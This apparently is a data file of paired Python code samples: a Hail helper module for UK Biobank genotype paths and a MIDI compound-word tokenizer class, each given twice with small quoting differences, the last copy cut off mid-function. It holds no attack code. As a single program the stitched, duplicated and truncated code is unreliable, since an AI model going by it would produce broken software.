return f'{bucket}/imputed/ukb_frequencies{'_with_x' if with_x else ''}{'.repart' if repart else ''}.ht'
def get_ukb_vep_path():
return f'{bucket}/results/misc/ukb.vep.ht'
def get_ukb_grm_mt_path(pop: str, data_iteration: int = 0):
suffix = f'.{data_iteration}' if data_iteration else ""
return f'{bucket}/results/misc/ukb.{pop}.for_grm{suffix}.mt'
def get_ukb_grm_pruned_ht_path(pop: str, window_size: str = '1e6'):
cut = '' if window_size == '1e6' else f'.{window_size}'
return f'{bucket}/results/misc/ukb.{pop}.for_grm.pruned{cut}.ht'
def get_ukb_grm_plink_path(pop: str, data_iteration: int = 0, window_size: str = '1e6'):
suffix = f'.{data_iteration}' if data_iteration else ""
cut = '' if window_size == '1e6' else f'.{window_size}'
return f'{bucket}/results/misc/ukb.{pop}.for_grm{suffix}.pruned{cut}.plink'
def get_ukb_samples_file_path(pop: str, data_iteration: int = 0):
suffix = f'.{data_iteration}' if data_iteration else ""
return f'{bucket}/results/misc/ukb.{pop}{suffix}.samples' | import hail as hl
from .generic import *
ukb_imputed_bgen_path = 'gs://fc-7d5088b4-7673-45b5-95c2-17ae00a04183/imputed/ukb_imp_chr{}_v3.bgen'
ukb_imputed_info_path = 'gs://fc-7d5088b4-7673-45b5-95c2-17ae00a04183/imputed/ukb_mfi_chr{}_v3.txt'
ukb_imputed_info_ht_path = f'{bucket}/imputed/ukb_mfi_v3.ht'
def get_sample_file(chromosome: str = '1'):
if chromosome not in ('X', 'XY'):
chromosome = 'autosomes'
elif not chromosome.startswith('chr'):
chromosome = f'chr{chromosome}'
return f'gs://ukb31063/ukb31063.{chromosome}.sample'
def get_ukb_imputed_data(chromosome: str = '1', variant_list: hl.Table = None, entry_fields = ('GP', )):
if chromosome == 'all':
chromosome = '{' + ','.join(map(str, range(1, 23))) + '}'
add_args = {}
if variant_list is not None:
add_args['variants'] = variant_list
return hl.import_bgen(ukb_imputed_bgen_path.format(chromosome), entry_fields=entry_fields,
sample_file=get_sample_file(chromosome), **add_args)
def get_filtered_mt(chrom: str = 'all',
pop: str = 'all',
imputed: bool = True,
min_mac: int = 20,
entry_fields=('GP',),
filter_mac_instead_of_ac: bool = False):
# get ac or mac based on filter_mac_instead_of_ac
def get_ac(af, an):
if filter_mac_instead_of_ac:
# Note that the underlying file behind get_ukb_af_ht_path() accidentally double af and halve an
return (1.0 - hl.abs(1.0 - af)) * an
else:
return af * an
if imputed:
ht = hl.read_table(get_ukb_af_ht_path())
if pop == 'all':
ht = ht.filter(hl.any(lambda x: get_ac(ht.af[x], ht.an[x]) >= min_mac, hl.literal(POPS)))
else:
ht = ht.filter(get_ac(ht.af[pop], ht.an[pop]) >= min_mac)
mt = get_ukb_imputed_data(chrom, variant_list=ht, entry_fields=entry_fields)
else:
mt = hl.read_matrix_table('gs://ukb31063/ukb31063.genotype.mt')
covariates_ht = get_covariates()
hq_samples_ht = get_hq_samples()
mt = mt.annotate_cols(**covariates_ht[mt.s])
mt = mt.filter_cols(hl.is_defined(mt.pop) & hl.is_defined(hq_samples_ht[mt.s]))
if pop != 'all': mt = mt.filter_cols(mt.pop == pop)
return mt
def get_ukb_af_ht_path(with_x = True, repart=False):
return f'{bucket}/imputed/ukb_frequencies{"_with_x" if with_x else ""}{".repart" if repart else ""}.ht'
def get_ukb_vep_path():
return f'{bucket}/results/misc/ukb.vep.ht'
def get_ukb_grm_mt_path(pop: str, data_iteration: int = 0):
suffix = f'.{data_iteration}' if data_iteration else ""
return f'{bucket}/results/misc/ukb.{pop}.for_grm{suffix}.mt'
def get_ukb_grm_pruned_ht_path(pop: str, window_size: str = '1e6'):
cut = '' if window_size == '1e6' else f'.{window_size}'
return f'{bucket}/results/misc/ukb.{pop}.for_grm.pruned{cut}.ht'
def get_ukb_grm_plink_path(pop: str, data_iteration: int = 0, window_size: str = '1e6'):
suffix = f'.{data_iteration}' if data_iteration else ""
cut = '' if window_size == '1e6' else f'.{window_size}'
return f'{bucket}/results/misc/ukb.{pop}.for_grm{suffix}.pruned{cut}.plink'
def get_ukb_samples_file_path(pop: str, data_iteration: int = 0):
suffix = f'.{data_iteration}' if data_iteration else ""
return f'{bucket}/results/misc/ukb.{pop}{suffix}.samples' |
""" MIDI encoding method, similar to Compound Word
https://arxiv.org/abs/2101.02402
"""
from typing import List, Tuple, Dict, Optional, Union
import numpy as np
from miditoolkit import Instrument, Note, TempoChange
from .midi_tokenizer_base import MIDITokenizer, Vocabulary, Event, detect_chords
from .constants import *
class CPWord(MIDITokenizer):
""" MIDI encoding method, similar to Compound Word
https://arxiv.org/abs/2101.02402
Each compound token will be a list of the form:
(index. Token type)
0. Family
1. Bar/Position
2. Pitch
3. Velocity
4. Duration
(5. Program) optional, associated with notes (pitch/velocity/duration) or chords
(6. Chord) optional, chords occurring with position tokens
(7. Rest) optional, rest acting as a time-shift token
(8. Tempo) optional, occurring with position tokens
This means a "compound token" can contain between 5 and 7 elements depending on
your encoding parameters (additional tokens).
(the choice of using indexes instead of dictionary with keys is to reduce the memory
and storage usage for saved token files)
:param pitch_range: range of used MIDI pitches
:param beat_res: beat resolutions, with the form:
{(beat_x1, beat_x2): beat_res_1, (beat_x2, beat_x3): beat_res_2, ...}
The keys of the dict are tuples indicating a range of beats, ex 0 to 3 for the first bar
The values are the resolution, in samples per beat, of the given range, ex 8
:param nb_velocities: number of velocity bins
:param additional_tokens: specifies additional tokens (chords, time signature, rests, tempo...)
:param sos_eos_tokens: adds Start Of Sequence (SOS) and End Of Sequence (EOS) tokens to the vocabulary
:param mask: will add a MASK token to the vocabulary (default: False)
:param params: can be a path to the parameter (json encoded) file or a dictionary
"""
def __init__(self, pitch_range: range = PITCH_RANGE, beat_res: Dict[Tuple[int, int], int] = BEAT_RES,
nb_velocities: int = NB_VELOCITIES, additional_tokens: Dict[str, bool] = ADDITIONAL_TOKENS,
sos_eos_tokens: bool = False, mask: bool = False, params=None):
# Indexes of additional token types within a compound token
add_idx = 5
self.program_ixd = self.chord_idx = self.rest_idx = self.tempo_idx = None
if additional_tokens['Program']:
self.program_ixd = add_idx
add_idx += 1
if additional_tokens['Chord']:
self.chord_idx = add_idx
add_idx += 1
if additional_tokens['Rest']:
self.rest_idx = add_idx
add_idx += 1
if additional_tokens['Tempo']:
self.tempo_idx = add_idx
super().__init__(pitch_range, beat_res, nb_velocities, additional_tokens, sos_eos_tokens, mask, params)
def track_to_tokens(self, track: Instrument) -> List[List[int]]:
""" Converts a track (miditoolkit.Instrument object) into a sequence of tokens
:param track: MIDI track to convert
:return: sequence of corresponding tokens
"""
# Make sure the notes are sorted first by their onset (start) times, second by pitch
# notes.sort(key=lambda x: (x.start, x.pitch)) # done in midi_to_tokens
ticks_per_sample = self.current_midi_metadata['time_division'] / max(self.beat_res.values())
ticks_per_bar = self.current_midi_metadata['time_division'] * 4
dur_bins = self.durations_ticks[self.current_midi_metadata['time_division']]
min_rest = self.current_midi_metadata['time_division'] * self.rests[0][0] + ticks_per_sample * self.rests[0][1]\
if self.additional_tokens['Rest'] else 0
tokens = [] # list of lists of tokens
# Creates tokens
previous_tick = -1
previous_note_end = track.notes[0].start + 1 # so that no rest is created before the first note
current_bar = -1
current_tempo_idx = 0
current_tempo = self.current_midi_metadata['tempo_changes'][current_tempo_idx].tempo
for note in track.notes:
# Bar / Position / (Tempo) / (Rest)
if note.start != previous_tick:
# (Rest)
if self.additional_tokens['Rest'] and note.start > previous_note_end and \
note.start - previous_note_end >= min_rest:
previous_tick = previous_note_end
rest_beat, rest_pos = divmod(note.start - previous_tick,
self.current_midi_metadata['time_division'])
rest_beat = min(rest_beat, max([r[0] for r in self.rests]))
rest_pos = round(rest_pos / ticks_per_sample)
if rest_beat > 0:
tokens.append(self.create_cp_token(previous_note_end, rest=f'{rest_beat}.0', desc='Rest'))
previous_tick += rest_beat * self.current_midi_metadata['time_division']
while rest_pos >= self.rests[0][1]:
rest_pos_temp = min([r[1] for r in self.rests], key=lambda x: abs(x - rest_pos))
tokens.append(self.create_cp_token(previous_note_end, rest=f'0.{rest_pos_temp}', desc='Rest'))
previous_tick += round(rest_pos_temp * ticks_per_sample)
rest_pos -= rest_pos_temp
current_bar = previous_tick // ticks_per_bar
# (Tempo)
if self.additional_tokens['Tempo']:
# If the current tempo is not the last one
if current_tempo_idx + 1 < len(self.current_midi_metadata['tempo_changes']):
# Will loop over incoming tempo changes
for tempo_change in self.current_midi_metadata['tempo_changes'][current_tempo_idx + 1:]:
# If this tempo change happened before the current moment
if tempo_change.time <= note.start:
current_tempo = tempo_change.tempo
current_tempo_idx += 1 # update tempo value (might not change) and index
elif tempo_change.time > note.start:
break # this tempo change is beyond the current time step, we break the loop
# Bar
nb_new_bars = note.start // ticks_per_bar - current_bar
for i in range(nb_new_bars):
tokens.append(self.create_cp_token((current_bar + i + 1) * ticks_per_bar, bar=True, desc='Bar'))
current_bar += nb_new_bars
# Position
pos_index = int((note.start % ticks_per_bar) / ticks_per_sample)
tokens.append(self.create_cp_token(int(note.start), pos=pos_index,
tempo=current_tempo if self.additional_tokens['Tempo'] else None,
desc='Position'))
previous_tick = note.start
# Note
duration = note.end - note.start
dur_index = np.argmin(np.abs(dur_bins - duration))
dur_value = '.'.join(map(str, self.durations[dur_index]))
tokens.append(self.create_cp_token(int(note.start), pitch=note.pitch, vel=note.velocity, dur=dur_value,
desc=f'{duration} ticks'))
previous_note_end = max(previous_note_end, note.end)
tokens.sort(key=lambda x: x[0].time)
# Adds chord tokens if specified
if self.additional_tokens['Chord'] and not track.is_drum:
chord_events = detect_chords(track.notes, self.current_midi_metadata['time_division'], self._first_beat_res)
count = 0
for chord_event in chord_events:
for e, cp_token in enumerate(tokens[count:]):
if cp_token[0].time == chord_event.time and cp_token[0].desc == 'Position':
cp_token[self.chord_idx] = \
self.vocab[self.chord_idx].event_to_token[f'Chord_{chord_event.value}']
count = e
break
# Convert the first element of each compound token from Event to int
for cp_token in tokens:
cp_token[0] = self.vocab[0].event_to_token[f'Family_{cp_token[0].value}']
return tokens
def create_cp_token(self, time: int, bar: bool = False, pos: int = None, pitch: int = None, vel: int = None,
dur: str = None, chord: str = None, rest: str = None, tempo: int = None, program: int = None,
desc: str = '') -> List[Union[Event, int]]:
""" Create a CP Word token, with the following structure:
(index. Token type)
0. Family
1. Bar/Position
2. Pitch
3. Velocity
4. Duration
(5. Program) optional, associated with notes (pitch/velocity/duration) or chords
(6. Chord) optional, chords occurring with position tokens
(7. Rest) optional, rest acting as a time-shift token
(8. Tempo) optional, occurring with position tokens
NOTE: the first Family token (first in list) will be given as an Event object to keep track
of time easily so that other method can sort CP tokens afterwards.
:param time: the current tick
:param bar: True if this token represents a new bar occurring
:param pos: the position index
:param pitch: note pitch
:param vel: note velocity
:param dur: note duration
:param chord: chord value
:param rest: rest value
:param tempo: tempo index
:param program: a program number if you want to produce a Program CP token (read note above)
:param desc: an optional argument for debug and used to spot position tokens in track_to_tokens
:return: The compound token as a list of integers
"""
cp_token_template = [Event(type_='Family', time=time, value='Metric', desc=desc),
self.vocab[1].event_to_token['Position_Ignore'],
self.vocab[2].event_to_token['Pitch_Ignore'],
self.vocab[3].event_to_token['Velocity_Ignore'],
self.vocab[4].event_to_token['Duration_Ignore']]
if self.additional_tokens['Program']:
cp_token_template.append(self.vocab[self.program_ixd].event_to_token['Program_Ignore'])
if self.additional_tokens['Chord']:
cp_token_template.append(self.vocab[self.chord_idx].event_to_token['Chord_Ignore'])
if self.additional_tokens['Rest']:
cp_token_template.append(self.vocab[self.rest_idx].event_to_token['Rest_Ignore'])
if self.additional_tokens['Tempo']:
cp_token_template.append(self.vocab[self.tempo_idx].event_to_token['Tempo_Ignore'])
if bar:
cp_token_template[1] = self.vocab[1].event_to_token['Bar_None']
elif pos is not None:
cp_token_template[1] = self.vocab[1].event_to_token[f'Position_{pos}']
if chord is not None:
cp_token_template[self.chord_idx] = self.vocab[self.chord_idx].event_to_token[f'Chord_{chord}']
if tempo is not None:
cp_token_template[self.tempo_idx] = self.vocab[self.tempo_idx].event_to_token[f'Tempo_{tempo}']
elif rest is not None:
cp_token_template[self.rest_idx] = self.vocab[self.rest_idx].event_to_token[f'Rest_{rest}']
elif pitch is not None:
cp_token_template[0].value = 'Note'
cp_token_template[2] = self.vocab[2].event_to_token[f'Pitch_{pitch}']
cp_token_template[3] = self.vocab[3].event_to_token[f'Velocity_{vel}']
cp_token_template[4] = self.vocab[4].event_to_token[f'Duration_{dur}']
if program is not None:
cp_token_template[self.program_ixd] = \
self.vocab[self.program_ixd].event_to_token[f'Program_{program}']
return cp_token_template
def tokens_to_track(self, tokens: List[List[int]], time_division: Optional[int] = TIME_DIVISION,
program: Optional[Tuple[int, bool]] = (0, False)) -> Tuple[Instrument, List[TempoChange]]:
""" Converts a sequence of tokens into a track object
:param tokens: sequence of tokens to convert
:param time_division: MIDI time division / resolution, in ticks/beat (of the MIDI to create)
:param program: the MIDI program of the produced track and if it drum, (default (0, False), piano)
:return: the miditoolkit instrument object and tempo changes
"""
assert time_division % max(self.beat_res.values()) == 0,\
f'Invalid time division, please give one divisible by {max(self.beat_res.values())}'
events = self.tokens_to_events(tokens, multi_voc=True)
ticks_per_sample = time_division // max(self.beat_res.values())
ticks_per_bar = time_division * 4
name = 'Drums' if program[1] else MIDI_INSTRUMENTS[program[0]]['name']
instrument = Instrument(program[0], is_drum=program[1], name=name)
tempo_changes = [TempoChange(TEMPO, -1)] # mock the first tempo change to optimize below
current_tick = 0
current_bar = -1
previous_note_end = 0
for compound_token in events:
token_family = compound_token[0].value
if token_family == 'Note':
if any(tok.value == 'None' for tok in compound_token[1:5]):
continue
pitch = int(compound_token[2].value)
vel = int(compound_token[3].value)
duration = self._token_duration_to_ticks(compound_token[4].value, time_division)
instrument.notes.append(Note(vel, pitch, current_tick, current_tick + duration))
previous_note_end = max(previous_note_end, current_tick + duration)
elif token_family == 'Metric':
if compound_token[1].type == 'Bar':
current_bar += 1
current_tick = current_bar * ticks_per_bar
elif compound_token[1].value != 'Ignore': # i.e. its a position
if current_bar == -1:
current_bar = 0 # as this Position token occurs before any Bar token
current_tick = current_bar * ticks_per_bar + int(compound_token[1].value) * ticks_per_sample
if self.additional_tokens['Tempo']:
tempo = int(compound_token[-1].value)
if tempo != tempo_changes[-1].tempo:
tempo_changes.append(TempoChange(tempo, current_tick))
elif compound_token[self.rest_idx].value != 'Ignore': # i.e. its a rest
if current_tick < previous_note_end: # if in case successive rest happen
current_tick = previous_note_end
beat, pos = map(int, compound_token[self.rest_idx].value.split('.'))
current_tick += beat * time_division + pos * ticks_per_sample
current_bar = current_tick // ticks_per_bar
if len(tempo_changes) > 1:
del tempo_changes[0]
tempo_changes[0].time = 0
return instrument, tempo_changes
def _create_vocabulary(self, sos_eos_tokens: bool = None) -> List[Vocabulary]:
""" Creates the Vocabulary object of the tokenizer.
See the docstring of the Vocabulary class for more details about how to use it.
:param sos_eos_tokens: DEPRECIATED, will include Start Of Sequence (SOS) and End Of Sequence (tokens)
:return: the vocabulary object
"""
if sos_eos_tokens is not None:
print(f'\033[93msos_eos_tokens argument is depreciated and will be removed in a future update, '
f'_create_vocabulary now uses self._sos_eos attribute set a class init \033[0m')
vocab = [Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask) for _ in range(5)]
vocab[0].add_event('Family_Metric')
vocab[0].add_event('Family_Note')
# POSITION
nb_positions = max(self.beat_res.values()) * 4 # 4/* time signature
vocab[1].add_event('Position_Ignore')
vocab[1].add_event('Bar_None')
vocab[1].add_event(f'Position_{i}' for i in range(nb_positions))
# PITCH
vocab[2].add_event('Pitch_Ignore')
vocab[2].add_event(f'Pitch_{i}' for i in self.pitch_range)
# VELOCITY
vocab[3].add_event('Velocity_Ignore')
vocab[3].add_event(f'Velocity_{i}' for i in self.velocities)
# DURATION
vocab[4].add_event('Duration_Ignore')
vocab[4].add_event(f'Duration_{'.'.join(map(str, duration))}' for duration in self.durations)
# PROGRAM
if self.additional_tokens['Program']:
vocab.append(Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask))
vocab[-1].add_event('Program_Ignore')
vocab[-1].add_event(f'Program_{program}' for program in range(-1, 128))
# CHORD
if self.additional_tokens['Chord']:
vocab.append(Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask))
vocab[-1].add_event('Chord_Ignore')
vocab[-1].add_event(f'Chord_{i}' for i in range(3, 6)) # non recognized chords (between 3 and 5 notes)
vocab[-1].add_event(f'Chord_{chord_quality}' for chord_quality in CHORD_MAPS)
# REST
if self.additional_tokens['Rest']:
vocab.append(Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask))
vocab[-1].add_event('Rest_Ignore')
vocab[-1].add_event(f'Rest_{'.'.join(map(str, rest))}' for rest in self.rests)
# TEMPO
if self.additional_tokens['Tempo']:
vocab.append(Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask))
vocab[-1].add_event('Tempo_Ignore')
vocab[-1].add_event(f'Tempo_{i}' for i in self.tempos)
return vocab
def _create_token_types_graph(self) -> Dict[str, List[str]]:
""" Returns a graph (as a dictionary) of the possible token
types successions.
As with CP the tokens types are "merged", each state here corresponds to
a "compound" token, which is characterized by the token types Program, Bar,
Position/Chord/Tempo and Pitch/Velocity/Duration
Here the combination of Pitch, Velocity and Duration tokens is represented by
"Pitch" in the graph.
NOTE: Program type is not referenced here, you can add it manually by
modifying the tokens_types_graph class attribute following your strategy.
:return: the token types transitions dictionary
"""
dic = dict()
dic['Bar'] = ['Position', 'Bar']
dic['Position'] = ['Pitch']
dic['Pitch'] = ['Pitch', 'Bar', 'Position']
if self.additional_tokens['Chord']:
dic['Rest'] = ['Rest', 'Position']
dic['Pitch'] += ['Rest']
if self.additional_tokens['Rest']:
dic['Rest'] = ['Rest', 'Position', 'Bar']
dic['Pitch'] += ['Rest']
self._add_pad_type_to_graph(dic)
return dic
def token_types_errors(self, tokens: List[List[int]], consider_pad: bool = False) -> float:
""" Checks if a sequence of tokens is constituted of good token types
successions and returns the error ratio (lower is better).
The Pitch and Position values are also analyzed:
- a position token cannot have a value <= to the current position (it would go back in time)
- a pitch token should not be present if the same pitch is already played at the current position
:param tokens: sequence of tokens to check
:param consider_pad: if True will continue the error detection after the first PAD token (default: False)
:return: the error ratio (lower is better)
"""
def cp_token_type(tok: List[int]) -> Tuple[str, str]:
family = self.vocab[0].token_to_event[tok[0]].split('_')[1]
if family == 'Note':
return self.vocab[2].token_to_event[tok[2]].split('_')
elif family == 'Metric':
bar_pos = self.vocab[1].token_to_event[tok[1]].split('_')
if bar_pos[1] != 'Ignore':
return bar_pos
else: # additional token
for i in range(1, 5):
decoded_token = self.vocab[-i].token_to_event[tok[-i]].split('_')
if decoded_token[1] != 'Ignore':
return decoded_token
raise RuntimeError('No token type found, unknown error')
elif family == 'None':
return 'PAD', 'None'
else: # Program
raise RuntimeError('No token type found, unknown error')
err = 0
previous_type = cp_token_type(tokens[0])[0]
current_pos = -1
current_pitches = []
def check(tok: List[int]):
nonlocal err, previous_type, current_pos, current_pitches
token_type, token_value = cp_token_type(tok)
# Good token type
if token_type in self.tokens_types_graph[previous_type]:
if token_type == 'Bar': # reset
current_pos = -1
current_pitches = []
elif token_type == 'Pitch':
if int(token_value) in current_pitches:
err += 1 # pitch already played at current position
else:
current_pitches.append(int(token_value))
elif token_type == 'Position':
if int(token_value) <= current_pos and previous_type != 'Rest':
err += 1 # token position value <= to the current position
else:
current_pos = int(token_value)
current_pitches = []
# Bad token type
else:
err += 1
previous_type = token_type
if consider_pad:
for token in tokens[1:]:
check(token)
else:
for token in tokens[1:]:
if previous_type == 'PAD':
break
check(token)
return err / len(tokens)
| """ MIDI encoding method, similar to Compound Word
https://arxiv.org/abs/2101.02402
"""
from typing import List, Tuple, Dict, Optional, Union
import numpy as np
from miditoolkit import Instrument, Note, TempoChange
from .midi_tokenizer_base import MIDITokenizer, Vocabulary, Event, detect_chords
from .constants import *
class CPWord(MIDITokenizer):
""" MIDI encoding method, similar to Compound Word
https://arxiv.org/abs/2101.02402
Each compound token will be a list of the form:
(index. Token type)
0. Family
1. Bar/Position
2. Pitch
3. Velocity
4. Duration
(5. Program) optional, associated with notes (pitch/velocity/duration) or chords
(6. Chord) optional, chords occurring with position tokens
(7. Rest) optional, rest acting as a time-shift token
(8. Tempo) optional, occurring with position tokens
This means a "compound token" can contain between 5 and 7 elements depending on
your encoding parameters (additional tokens).
(the choice of using indexes instead of dictionary with keys is to reduce the memory
and storage usage for saved token files)
:param pitch_range: range of used MIDI pitches
:param beat_res: beat resolutions, with the form:
{(beat_x1, beat_x2): beat_res_1, (beat_x2, beat_x3): beat_res_2, ...}
The keys of the dict are tuples indicating a range of beats, ex 0 to 3 for the first bar
The values are the resolution, in samples per beat, of the given range, ex 8
:param nb_velocities: number of velocity bins
:param additional_tokens: specifies additional tokens (chords, time signature, rests, tempo...)
:param sos_eos_tokens: adds Start Of Sequence (SOS) and End Of Sequence (EOS) tokens to the vocabulary
:param mask: will add a MASK token to the vocabulary (default: False)
:param params: can be a path to the parameter (json encoded) file or a dictionary
"""
def __init__(self, pitch_range: range = PITCH_RANGE, beat_res: Dict[Tuple[int, int], int] = BEAT_RES,
nb_velocities: int = NB_VELOCITIES, additional_tokens: Dict[str, bool] = ADDITIONAL_TOKENS,
sos_eos_tokens: bool = False, mask: bool = False, params=None):
# Indexes of additional token types within a compound token
add_idx = 5
self.program_ixd = self.chord_idx = self.rest_idx = self.tempo_idx = None
if additional_tokens['Program']:
self.program_ixd = add_idx
add_idx += 1
if additional_tokens['Chord']:
self.chord_idx = add_idx
add_idx += 1
if additional_tokens['Rest']:
self.rest_idx = add_idx
add_idx += 1
if additional_tokens['Tempo']:
self.tempo_idx = add_idx
super().__init__(pitch_range, beat_res, nb_velocities, additional_tokens, sos_eos_tokens, mask, params)
def track_to_tokens(self, track: Instrument) -> List[List[int]]:
""" Converts a track (miditoolkit.Instrument object) into a sequence of tokens
:param track: MIDI track to convert
:return: sequence of corresponding tokens
"""
# Make sure the notes are sorted first by their onset (start) times, second by pitch
# notes.sort(key=lambda x: (x.start, x.pitch)) # done in midi_to_tokens
ticks_per_sample = self.current_midi_metadata['time_division'] / max(self.beat_res.values())
ticks_per_bar = self.current_midi_metadata['time_division'] * 4
dur_bins = self.durations_ticks[self.current_midi_metadata['time_division']]
min_rest = self.current_midi_metadata['time_division'] * self.rests[0][0] + ticks_per_sample * self.rests[0][1]\
if self.additional_tokens['Rest'] else 0
tokens = [] # list of lists of tokens
# Creates tokens
previous_tick = -1
previous_note_end = track.notes[0].start + 1 # so that no rest is created before the first note
current_bar = -1
current_tempo_idx = 0
current_tempo = self.current_midi_metadata['tempo_changes'][current_tempo_idx].tempo
for note in track.notes:
# Bar / Position / (Tempo) / (Rest)
if note.start != previous_tick:
# (Rest)
if self.additional_tokens['Rest'] and note.start > previous_note_end and \
note.start - previous_note_end >= min_rest:
previous_tick = previous_note_end
rest_beat, rest_pos = divmod(note.start - previous_tick,
self.current_midi_metadata['time_division'])
rest_beat = min(rest_beat, max([r[0] for r in self.rests]))
rest_pos = round(rest_pos / ticks_per_sample)
if rest_beat > 0:
tokens.append(self.create_cp_token(previous_note_end, rest=f'{rest_beat}.0', desc='Rest'))
previous_tick += rest_beat * self.current_midi_metadata['time_division']
while rest_pos >= self.rests[0][1]:
rest_pos_temp = min([r[1] for r in self.rests], key=lambda x: abs(x - rest_pos))
tokens.append(self.create_cp_token(previous_note_end, rest=f'0.{rest_pos_temp}', desc='Rest'))
previous_tick += round(rest_pos_temp * ticks_per_sample)
rest_pos -= rest_pos_temp
current_bar = previous_tick // ticks_per_bar
# (Tempo)
if self.additional_tokens['Tempo']:
# If the current tempo is not the last one
if current_tempo_idx + 1 < len(self.current_midi_metadata['tempo_changes']):
# Will loop over incoming tempo changes
for tempo_change in self.current_midi_metadata['tempo_changes'][current_tempo_idx + 1:]:
# If this tempo change happened before the current moment
if tempo_change.time <= note.start:
current_tempo = tempo_change.tempo
current_tempo_idx += 1 # update tempo value (might not change) and index
elif tempo_change.time > note.start:
break # this tempo change is beyond the current time step, we break the loop
# Bar
nb_new_bars = note.start // ticks_per_bar - current_bar
for i in range(nb_new_bars):
tokens.append(self.create_cp_token((current_bar + i + 1) * ticks_per_bar, bar=True, desc='Bar'))
current_bar += nb_new_bars
# Position
pos_index = int((note.start % ticks_per_bar) / ticks_per_sample)
tokens.append(self.create_cp_token(int(note.start), pos=pos_index,
tempo=current_tempo if self.additional_tokens['Tempo'] else None,
desc='Position'))
previous_tick = note.start
# Note
duration = note.end - note.start
dur_index = np.argmin(np.abs(dur_bins - duration))
dur_value = '.'.join(map(str, self.durations[dur_index]))
tokens.append(self.create_cp_token(int(note.start), pitch=note.pitch, vel=note.velocity, dur=dur_value,
desc=f'{duration} ticks'))
previous_note_end = max(previous_note_end, note.end)
tokens.sort(key=lambda x: x[0].time)
# Adds chord tokens if specified
if self.additional_tokens['Chord'] and not track.is_drum:
chord_events = detect_chords(track.notes, self.current_midi_metadata['time_division'], self._first_beat_res)
count = 0
for chord_event in chord_events:
for e, cp_token in enumerate(tokens[count:]):
if cp_token[0].time == chord_event.time and cp_token[0].desc == 'Position':
cp_token[self.chord_idx] = \
self.vocab[self.chord_idx].event_to_token[f'Chord_{chord_event.value}']
count = e
break
# Convert the first element of each compound token from Event to int
for cp_token in tokens:
cp_token[0] = self.vocab[0].event_to_token[f'Family_{cp_token[0].value}']
return tokens
def create_cp_token(self, time: int, bar: bool = False, pos: int = None, pitch: int = None, vel: int = None,
dur: str = None, chord: str = None, rest: str = None, tempo: int = None, program: int = None,
desc: str = '') -> List[Union[Event, int]]:
""" Create a CP Word token, with the following structure:
(index. Token type)
0. Family
1. Bar/Position
2. Pitch
3. Velocity
4. Duration
(5. Program) optional, associated with notes (pitch/velocity/duration) or chords
(6. Chord) optional, chords occurring with position tokens
(7. Rest) optional, rest acting as a time-shift token
(8. Tempo) optional, occurring with position tokens
NOTE: the first Family token (first in list) will be given as an Event object to keep track
of time easily so that other method can sort CP tokens afterwards.
:param time: the current tick
:param bar: True if this token represents a new bar occurring
:param pos: the position index
:param pitch: note pitch
:param vel: note velocity
:param dur: note duration
:param chord: chord value
:param rest: rest value
:param tempo: tempo index
:param program: a program number if you want to produce a Program CP token (read note above)
:param desc: an optional argument for debug and used to spot position tokens in track_to_tokens
:return: The compound token as a list of integers
"""
cp_token_template = [Event(type_='Family', time=time, value='Metric', desc=desc),
self.vocab[1].event_to_token['Position_Ignore'],
self.vocab[2].event_to_token['Pitch_Ignore'],
self.vocab[3].event_to_token['Velocity_Ignore'],
self.vocab[4].event_to_token['Duration_Ignore']]
if self.additional_tokens['Program']:
cp_token_template.append(self.vocab[self.program_ixd].event_to_token['Program_Ignore'])
if self.additional_tokens['Chord']:
cp_token_template.append(self.vocab[self.chord_idx].event_to_token['Chord_Ignore'])
if self.additional_tokens['Rest']:
cp_token_template.append(self.vocab[self.rest_idx].event_to_token['Rest_Ignore'])
if self.additional_tokens['Tempo']:
cp_token_template.append(self.vocab[self.tempo_idx].event_to_token['Tempo_Ignore'])
if bar:
cp_token_template[1] = self.vocab[1].event_to_token['Bar_None']
elif pos is not None:
cp_token_template[1] = self.vocab[1].event_to_token[f'Position_{pos}']
if chord is not None:
cp_token_template[self.chord_idx] = self.vocab[self.chord_idx].event_to_token[f'Chord_{chord}']
if tempo is not None:
cp_token_template[self.tempo_idx] = self.vocab[self.tempo_idx].event_to_token[f'Tempo_{tempo}']
elif rest is not None:
cp_token_template[self.rest_idx] = self.vocab[self.rest_idx].event_to_token[f'Rest_{rest}']
elif pitch is not None:
cp_token_template[0].value = 'Note'
cp_token_template[2] = self.vocab[2].event_to_token[f'Pitch_{pitch}']
cp_token_template[3] = self.vocab[3].event_to_token[f'Velocity_{vel}']
cp_token_template[4] = self.vocab[4].event_to_token[f'Duration_{dur}']
if program is not None:
cp_token_template[self.program_ixd] = \
self.vocab[self.program_ixd].event_to_token[f'Program_{program}']
return cp_token_template
def tokens_to_track(self, tokens: List[List[int]], time_division: Optional[int] = TIME_DIVISION,
program: Optional[Tuple[int, bool]] = (0, False)) -> Tuple[Instrument, List[TempoChange]]:
""" Converts a sequence of tokens into a track object
:param tokens: sequence of tokens to convert
:param time_division: MIDI time division / resolution, in ticks/beat (of the MIDI to create)
:param program: the MIDI program of the produced track and if it drum, (default (0, False), piano)
:return: the miditoolkit instrument object and tempo changes
"""
assert time_division % max(self.beat_res.values()) == 0,\
f'Invalid time division, please give one divisible by {max(self.beat_res.values())}'
events = self.tokens_to_events(tokens, multi_voc=True)
ticks_per_sample = time_division // max(self.beat_res.values())
ticks_per_bar = time_division * 4
name = 'Drums' if program[1] else MIDI_INSTRUMENTS[program[0]]['name']
instrument = Instrument(program[0], is_drum=program[1], name=name)
tempo_changes = [TempoChange(TEMPO, -1)] # mock the first tempo change to optimize below
current_tick = 0
current_bar = -1
previous_note_end = 0
for compound_token in events:
token_family = compound_token[0].value
if token_family == 'Note':
if any(tok.value == 'None' for tok in compound_token[1:5]):
continue
pitch = int(compound_token[2].value)
vel = int(compound_token[3].value)
duration = self._token_duration_to_ticks(compound_token[4].value, time_division)
instrument.notes.append(Note(vel, pitch, current_tick, current_tick + duration))
previous_note_end = max(previous_note_end, current_tick + duration)
elif token_family == 'Metric':
if compound_token[1].type == 'Bar':
current_bar += 1
current_tick = current_bar * ticks_per_bar
elif compound_token[1].value != 'Ignore': # i.e. its a position
if current_bar == -1:
current_bar = 0 # as this Position token occurs before any Bar token
current_tick = current_bar * ticks_per_bar + int(compound_token[1].value) * ticks_per_sample
if self.additional_tokens['Tempo']:
